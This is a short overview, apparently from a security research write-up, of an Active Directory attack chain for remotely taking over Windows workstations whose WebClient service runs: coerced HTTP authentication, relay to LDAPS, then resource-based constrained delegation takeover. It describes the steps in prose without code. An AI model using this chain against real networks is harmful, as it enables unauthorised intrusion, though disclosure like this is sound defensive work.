Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.
